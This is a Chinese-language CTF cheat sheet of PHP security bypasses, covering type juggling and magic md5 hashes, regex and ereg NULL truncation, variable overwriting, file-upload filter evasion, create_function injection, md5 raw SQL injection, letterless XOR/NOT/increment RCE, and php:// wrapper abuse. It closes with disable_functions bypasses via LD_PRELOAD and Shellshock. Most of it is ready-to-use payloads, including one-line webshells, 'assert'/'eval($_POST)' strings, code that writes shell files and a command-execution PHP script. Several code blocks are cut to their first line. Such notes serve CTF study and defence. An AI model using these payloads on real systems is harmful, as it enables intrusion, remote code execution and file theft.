php常见绕过
摘抄自:https://www.jianshu.com/p/723d24c1fa32
弱类型
“==”与”===”的区别
在使用"=="时会自动转换类型,而"==="则是校验类型,而非转换。
1 == '1'; //true
1 == '1abcdef'; //true
0 == 'abcdefg'; //true
0 === 'abcdefg'; //false
Hash比较
使用"=="时,如果字符串满足0e\d+,解析为科学计数法,否则视为正常字符串。
"0e132456789" == "0e7124511451155" //true
"0e123456abc" == "0e1dddada" //false
"0e1abc"=="0" //true
md5('240610708') == md5('QNKCDZO') //true
0e开头的md5:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
md5强类型碰撞绕过
1 | if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { |
这里由于前面强制转换类型,所以数组不能绕过,这时要使用MD5碰撞绕过。
参考链接
常见的
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
遇到了一个双md5的
1 | if (isset($_GET['md5'])){ |
这个找了很久,最后发现使用科学计数法0e215962017可以绕过,而且后面只能是数字,这里被坑了好久,国内的文章很多都是说可以使用字母。。。。。
参考链接:https://www.whitehatsec.com/blog/magic-hashes/
可以用程序跑:https://github.com/bl4de/ctf/blob/master/2017/HackDatKiwi_CTF_2017/md5games1/md5games1.md
三重(层)md5绕过
这里要使用脚本跑,做这个题的时候记得跑了两三个小时吧,听说大佬的的算法十分钟跑出来
1 | #!python2 |
结果:0e1138100474
传入数组返回null系列
md5()是不能处理数组的,md5(数组)会返回null,同理的有sha1(),strlen(),eregx()。
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true
十六进制转换
使用"=="时,PHP会将十六进制转换为十进制然后再进行比较
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false
intval()函数
intval()函数会将从字符串的开始进行转换直到遇到一个非数字的字符。
如果出现无法转换的字符串,intval()不会报错而是返回0。
if(intval($a)>1000) {
mysql_query("select * from news where id=".$a)
}
这个时候$a的值有可能是1002 union…..
例如这个题
1 | if (isset($_GET['num'])){ |
我们可以使用十六进制来绕过
ereg()函数
1 |
|
因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e,也就是1.99714e13=19971400000000,所以构造1e8即100000000 > 9999999,在加上-。于是乎构造password=1e8%00-,成功绕过
strcmp()函数
strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算。
在PHP5.3版本之后使用这个函数比较array跟sring会返回0。
$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。
switch()函数
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
in_array(),array_search()函数
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),
如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。
当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
is_numeric()函数
当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过.
"="优先级比and高。
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$c=is_numeric($a) and is_numeric($b);
var_dump(is_numeric($a));
var_dump(is_numeric($b));
var_dump($c); //$b可以不是数字,同样返回true
$test=true and false;
var_dump($test); //返回true
?>
16进制也可以绕过is_numeric()检验,可以用来绕过sql注入里的过滤.
<?php
$a = is_numeric ( $_GET ['a'] ) ? $_GET ['a'] : 0;
$con = mysql_connect ( 'localhost', 'root', 'root' );
mysql_select_db ( 'test' );
$sql = 'insert into a values(' . $a . ',"a")';
mysql_query ( $sql );
?>
test.php?a=0x31206f7220313d31时,数据库中成功插入值
json绕过
输入一个json类型的字符串,json_decode函数解密成一个数组,
判断数组中key的值是否等于 $key的值,但是$key的值我们不知道,
但是可以利用0=="admin"这种形式绕过
最终payload message={"key":0}
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
strpos—数组绕过
1 |
|
正则表达式
eregi()函数
1. 字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会不会被解析。
#这里 a=abcd%001234,可以绕过
<?php
if (ereg ("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
echo 'You password must be alphabet';
}
?>
2. 如果传入数组,ereg返回NULL
preg_match函数
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题.
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
// echo('key...')
}
preg_replace函数
preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。
如果没有 /e 修饰符,可以尝试 %00 截断。
<?php
preg_replace("/test/e",$_GET["nac"],"jutst test");
?>
?nac=phpinfo() #可以被执行
变量覆盖
extract()函数
extract() 函数从数组中把变量导入到当前的符号表中。
对于数组中的每个元素,键名用于变量名,键值用于变量值。
<?php
$auth = '0';
// 这里可以覆盖$auth的变量值
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>
parse_str()函数
parse_str() 的作用是解析字符串,并注册成变量.
与 parse_str() 类似的函数还有 mb_parse_str(),parse_str() 将字符串解析成多个变量,
如果参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域.
//var.php?var=new
$var='init';
parse_str($_SERVER['QUERY_STRING']);
// $var 会变成 new
echo $var;
$$的使用
如果把变量本身的 key 也当变量,也就是使用了 $$,就可能存在问题。
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;
foreach(array('_GET','_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 这个函数会把 $_CONFIG 变量销毁
unset($$key);
}
}
if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}
unset()
unset($bar); 用来销毁指定的变量,如果变量 $bar 包含在请求参数中,
可能出现销毁一些变量而实现程序逻辑绕过。
例二:
1 | 'S'])?eval("$$S"):highlight_file(__FILE__); ($S = $_GET[ |
S=a=system(‘cat ../flag.txt’);
?S=a;system(“cat /var/flag.txt”);
均可
文件上传常见绕过
1.前台脚本检测扩展名绕过
原理
当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。
绕过方法
绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名,通过BurpSuite工具,截取数据包,并将数据包中文件扩展名更改回原来的,达到绕过的目的。
例如:文件名本来为【evil.jpg】,上传时,用BurpSuite截包后,将数据包中的名字改为【evil.php】(或其它脚本类型)即可。
2.Content-Type文件类型
原理
当浏览器在上传文件到服务器的时候,服务器对说上传文件的Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败。
绕过方法
绕过Content–Type文件类型检测,就是用BurpSuite截取并修改数据包中文件的Content-Type类型(如改为:image/gif),使其符合白名单的规则,达到上传的目的。
3.文件系统00截断绕过
原理
在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。
绕过方法
通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。
4.服务器扩展名检测黑名单
原理
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。
绕过方法
将一句话木马的文件名【evil.php】,改成【evil.php.abc】(奇怪的不被解析的后缀名都行)。首先,服务器验证文件扩展名的时候,验证的是【.abc】,只要该扩展名符合服务器端黑白名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了【.abc】扩展名,会向前寻找可解析的扩展名,即【.php】
1
5.JS检测上传文件—绕过
原理
上传文件时,对方使用JavaScript语句语法检测上传文件的合法性问题。
绕过方法
在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现。
- .htaccess绕过
原理
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
绕过方法
在可以上传.htaccess文件时,先上传.htaccess文件,覆盖掉原先的.htaccess文件;再上传【evil.gif】文件。使用如下的.htaccess语句,即可将【evil.gif】文件以php脚本方式解析。
<FilesMatch “evil.gif”>
SetHandler application/x-httpd-php
7.其它方式绕过
原理
部分程序员的思维不严谨,并使用逻辑不完善的上传文件合法性检测手段,导致可以找到方式绕过其检测方式。
1
绕过方法
后缀名大小写绕过
用于只将小写的脚本后缀名(如php)过滤掉的场合;
例如:将Burpsuite截获的数据包中的文件名【evil.php】改为【evil.Php】双写后缀名绕过
用于只将文件后缀名,例如”php”字符串过滤的场合;
例如:上传时将Burpsuite截获的数据包中文件名【evil.php】改为【evil.pphphp】,那么过滤了第一个”php”字符串”后,开头的’p’和结尾的’hp’就组合又形成了【php】。特殊后缀名绕过
用于检测文件合法性的脚本有问题的场合;
例如:将Burpsuite截获的数据包中【evil.php】名字改为【evil.php6】,或加个空格改为【evil.php 】等。
8.检测文件内容
有的会检测文件内容,比如<?``<?php
等,这时我们可以使用js的这种写法:
1 | GIF89a? <script language="php">eval($_REQUEST[shell])</script> |
命令执行
1 | system() |
linux
1 | {cat,flag.txt} |
windows下
1 | type.\flag.txt |
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
过滤了/
可以使用inux的系统环境变量 PATH 来过滤 用 ${PATH:0:1}代替/ 。或者cd
正则绕过
数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
换行
若preg_match('/^.*$/',subject)
,preg_match只会匹配第一行,如
1 | if (preg_match('/^.*(flag).*$/', $json)) { |
只需要
1 | $json="\nflag" |
又或者
1 | if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { |
只需要传入
1 | ?a=flag%0a |
url编码绕过针对$_SERVER['QUERY_STRING']
的过滤
1 | if($_SERVER) { |
由于$_SERVER['QUERY_STRING']
不会进行URLDecode,而$_GET[]
会,所以只要进行url编码即可绕过
绕过$_REQUEST
1 | if($_REQUEST) { |
$_REQUEST
同时接受GET和POST的数据,并且POST具有更高的优先值。
这个优先级是由php的配置文件决定的,只需要同时GET和POST同一个参数就可以绕过
file_get_contents
比较内容相同
1 | if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai') |
一般来说可以用php://input
或data://
php://input
是将post过来的数据全部当做文件内容- data://有以下几种用法
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
create_function()代码注入
类型一
1 | if(preg_match('/^[a-z0-9]*$/isD', $code) || |
其中$code
,$arg
可控,自然想到create_function()
1 | $myfunc = create_function('$a, $b', 'return $a+$b;'); |
相当于
1 | function myfunc($a, $b){ |
但是如果第二个参数没有限制的话,如$code=return $a+$b;}eval($_POST['cmd']);//
,就变成
1 | function myfunc($a, $b){ |
可执行任意代码
类型二
1 |
|
这是南航比赛的一个题,出题人没仔细出题,导致出现了非预期
这个参数位置与1相反,可直接使用函数highlight_file
等读取flag,使用create_function也可以func=create_function&arg=){}system('dir');//
类型三
1 |
|
这是赛后出题人改成了一个红包提,唯一的不一样便是多了个,
所以类型二的payload无法使用,本地会报错
1 | ( ! ) Parse error: syntax error, unexpected ')', expecting variable (T_VARIABLE) in D:\phpstudy_pro\wamp64\www\22.php(5) : runtime-created function on line 1 |
想了半天实在是想不出来了,将报错信息百度结果便出来了
虽然看不懂意思,但是举一反三还是会的,哈哈
payload
1 | func=create_function&arg=$asdasd){}highlight_file('flag.php');// |
md5($str,true)注入
“select * from admin where passwd = ‘ “ .md5( $password, true). “ ‘ “;
这样一个SQL语句其实可以注入
先来说一下md5()这个函数
md5(string, raw) raw 可选,默认为false
true:返回16字符2进制格式
false:返回32字符16进制格式
简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
转成字符串后: ‘or’6<trash>
parse_str函数变量覆盖缺陷
parse_str
函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量。
1 | void parse_str ( string $str [, array &$arr ] ) |
str 输入的字符串。
arr 如果设置了第二个变量 arr,变量将会以数组元素的形式存入到这个数组,作为替代。
1 |
|
我们只需要执行?b=a[0]=QNKCDZO
便覆盖掉了以前的变量
SQL注入绕过
1.有时候网站过滤了information_schema.tables,这是我们可以使用反引号绕过。
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.tables
都可以使用2.
2.mysql提供了读取本地文件的函数load_file()
1 | ?query=-1*/**/*union*/**/*select*/**/*load_file('/var/www/html/secret.php') |
3.information_schema被过滤,可以换为sys.x$schema_flattened_keys
无字母数字rce
绕过原理
1 | 常用payload:${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo。很多文章都是这个payload,我们需要绕过的条件构造,只要在_参数构造出$_GET[x]就好了,但由于preg_match的限制。所以目前最重要的就是绕过他异或方法:在php中,abc^def,会产生一个新的字符串,比较方式是:a的ascii码和d的ascii码进行二进制异或操作,生成新的二进制,然后转换为ascii,进而生成新的异或结果。所以,异或会产生新的字符串,那我们是不是就可以利用四个字符串相互异或来生成_GET |
先查看可以使用的字符
1 |
|
33 !
35 #
36 $
37 %
40 (
41 )
42 *
43 +
45 -
47 /
58 :
59 ;
60 <
62 >
63 ?
64 @
92
93 ]
94 ^
123 {
125 }
!,#,$,%,(,),*,+,-,/,:,;,<,>,?,@,,],^,{,},€这是上面脚本chr($i)跑出来的可用字符中的可视字符。在浏览器中这些字符都是敏感字符,如果不加单引号双引号,浏览器就把他们用起来了(浏览器进行解析,而不是php语言)所以我们要使用不可视的字符来进行异或脚本的基础字典。
异或脚本
1 | a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,] |
结果
1 | ['86*d9', '87*d8', '88*d7', '89*d6', '8a*d5', '8b*d4', '8c*d3', '8d*d2', '8e*d1', '8f*d0', '90*cf', '91*ce', '92*cd', '93*cc', '94*cb', '95*ca', '96*c9', '97*c8', '98*c7', '99*c6', '9a*c5', '9b*c4', '9c*c3', '9d*c2', '9e*c1', '9f*c0', 'a0*ff', 'a1*fe', 'a2*fd', 'a3*fc', 'a4*fb', 'a5*fa', 'a6*f9', 'a7*f8', 'a8*f7', 'a9*f6', 'aa*f5', 'ab*f4', 'ac*f3', 'ad*f2', 'ae*f1', 'af*f0', 'b0*ef', 'b1*ee', 'b2*ed', 'b3*ec', 'b4*eb', 'b5*ea', 'b6*e9', 'b7*e8', 'b8*e7', 'b9*e6', 'ba*e5', 'bb*e4', 'bc*e3', 'bd*e2', 'be*e1', 'bf*e0', 'c0*9f', 'c1*9e', 'c2*9d', 'c3*9c', 'c4*9b', 'c5*9a', 'c6*99', 'c7*98', 'c8*97', 'c9*96', 'ca*95', 'cb*94', 'cc*93', 'cd*92', 'ce*91', 'cf*90', 'd0*8f', 'd1*8e', 'd2*8d', 'd3*8c', 'd4*8b', 'd5*8a', 'd6*89', 'd7*88', 'd8*87', 'd9*86', 'e0*bf', 'e1*be', 'e2*bd', 'e3*bc', 'e4*bb', 'e5*ba', 'e6*b9', 'e7*b8', 'e8*b7', 'e9*b6', 'ea*b5', 'eb*b4', 'ec*b3', 'ed*b2', 'ee*b1', 'ef*b0', 'f0*af', 'f1*ae', 'f2*ad', 'f3*ac', 'f4*ab', 'f5*aa', 'f6*a9', 'f7*a8', 'f8*a7', 'f9*a6', 'fa*a5', 'fb*a4', 'fc*a3', 'fd*a2', 'fe*a1', 'ff*a0'] |
然后可以构造
1 | ?_=${87878787^ d8 c0 c2 d3}{87}();&87=phpinfo |
1 | 注意1:在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。注意2:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如${_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET['a'] |
与或脚本
1 |
|
一些无数字字母rce的payload
异或
1 ${%87%87%87%87^%d8%c0%c2%d3}[_](${%87%87%87%87^%d8%c0%c2%d3}[__]);&_=assert&__=eval($_POST[%27a%27])
取反
1 ${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=eval($_POST[%27a%27]) //$_GET[_]($_GET[__])
递增
参考链接
1 |
|
将下面的那一串进行url编码后传入
1 | %24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b |
接着访问出现的webshell,传入
1 ?_=system&__=cat%20../flag.php即
system(cat%20../flag.php)
sql注入隐形的类型转换绕过
一篇文章(https://www.cnblogs.com/blacksunny/p/7921032.html)
注意:下次fuzz万能密码的时候一定要用户和密码都fuzz一遍
php伪协议
要满足PHP伪协议,基于函数include和include_once()的利用情况。
另外就是PHP.ini环境问题:
1 | allow_url_fopen: On 默认开启,选项为On时,激活了URL形式的fopen封装协议,就可以访问URL对象文件 |
是否需要截断:PHP版本<=5.2可以使用%00进行截断。
比如:
1 | http://127.0.0.1/test.php?file=file:///d:/test/test/flag.txt%00 |
常用协议:
1 | file:// — 访问本地文件系统 |
利用条件:
1、协议:file://
- 利用条件:allow_url_fopen和allow_url_include双Off情况下可正常使用
- 说明:访问本地文件系统
- 用法:file://文件绝对路径和文件名
2、协议:php://
利用条件:不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
说明:访问IO流
用法:php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
POST: <?php phpinfo();?>
写入一句话木马:<?php fputs(fopen(“shell50.php”,”w”),’<?php @eval($_POST[123]);?>‘)?>
3、php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
——php.net
简单说经常利用它进行base64编码,如
1 | php://filter/read=convert.base64-encode/resource=index.php |
4、协议:zip://,bzip2://,zlib://
- 利用条件:双Off条件下可使用
- 说明:zip://test.zip#x.txt zip://绝对路径#子文件名
- x.txt内容就会以php代码执行
- compress.bzip2://test.bz2和compress.zlib://test.gz用法相同
- /include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
- 用法:可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
5、协议:data://
利用条件:双On
说明:
1
2
3
4/include.php?file=data://text/plain,<?php phpinfo();?>
或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
或者 data:text/plain,<?php phpinfo();?>
或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=同样以string可写入php代码,并执行
总结一下,其中仅php://input、php://stdin、php://memory、php://temp需要开启allow_url_include,其中php://访问各个输入/输出流(I/O streams),php://filter用于读取源码,php://input用于执行php代码。
php://input可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,而且不需要指定后缀名。
其中需要注意的是,php://filter读取源代码需要使用base64编码输出,不然会当作php代码直接执行。
绕过disable_function
根据资料可得知有四种绕过 disable_functions 的手法:
- 攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,
ImageMagick
的魔图漏洞、bash
的破壳漏洞等等 - 寻找未禁用的漏网函数,常见的执行命令的函数有
system()
、exec()
、shell_exec()
、passthru()
,偏僻的popen()
、proc_open()
、pcntl_exec()
,逐一尝试,或许有漏网之鱼 - mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
- 利用环境变量
LD_PRELOAD
劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
使用 LD_PRELOAD 方式来绕过disabled_functions限制
大致步骤如下
- 生成一个我们的恶意动态链接库文件
- 利用
putenv
设置LD_PRELOAD为我们的恶意动态链接库文件的路径- 配合php的某个函数去触发我们的恶意动态链接库文件
- RCE并获取flag
这里面的某个函数需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.
执行单个命令
首先生成一个hack.c恶意动态链接库文件
1
2
3
4
5
6
7
8
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/123");
}利用gcc进行编译
1
gcc -shared -fPIC hack.c -o hack.so
将生成的hack.so上传到/tmp目录下
再到/tmp目录下上传一个hack.php文件,其内容为1
2
3
4
5
putenv("LD_PRELOAD=/tmp/hack.so");
mail("", "", "", "");
error_log("",1,"","")mail函数无法使用,使用
error_log
进行替换 ,相似的还有mail,imap_mail,error_log,mb_send_mail
之后包含hack.php文件即可在/tmp目录下生成123文件,其内容即是执行命令后的结果执行任意命令
参考文章:深入浅出LD_PRELOAD & putenv(),也可以直接使用蚁剑的插件进行绕过,但是我本地的蚁剑插件商店加载 有问题,所以尝试另一种方法
因为权限问题我们在蚁剑上无法上传文件到根目录,但是我们可以上传到/tmp,首先下载bypass_disablefunc_x64.so共享库文件并上传到/tmp目录下面,将其命名为123.so
在上传一个123.php文件,其内容为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);mail函数无法使用,使用
error_log
进行替换 ,相似的还有mail,imap_mail,error_log,mb_send_mail
之后包含使用include包含123.php文件即可执行任意命令1
?ant=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so
利用 ShellShock绕过
1. 前提条件
目标OS存在Bash破壳(CVE-2014-6271)
漏洞 PHP 5.*
linux
putenv()、
mail()可用
步骤
上传一个php文件
exp:
1 |
|
访问即可执行命令,若不行则使用命令的绝对路径/bin/ls
还有其他的用蚁剑即可绕过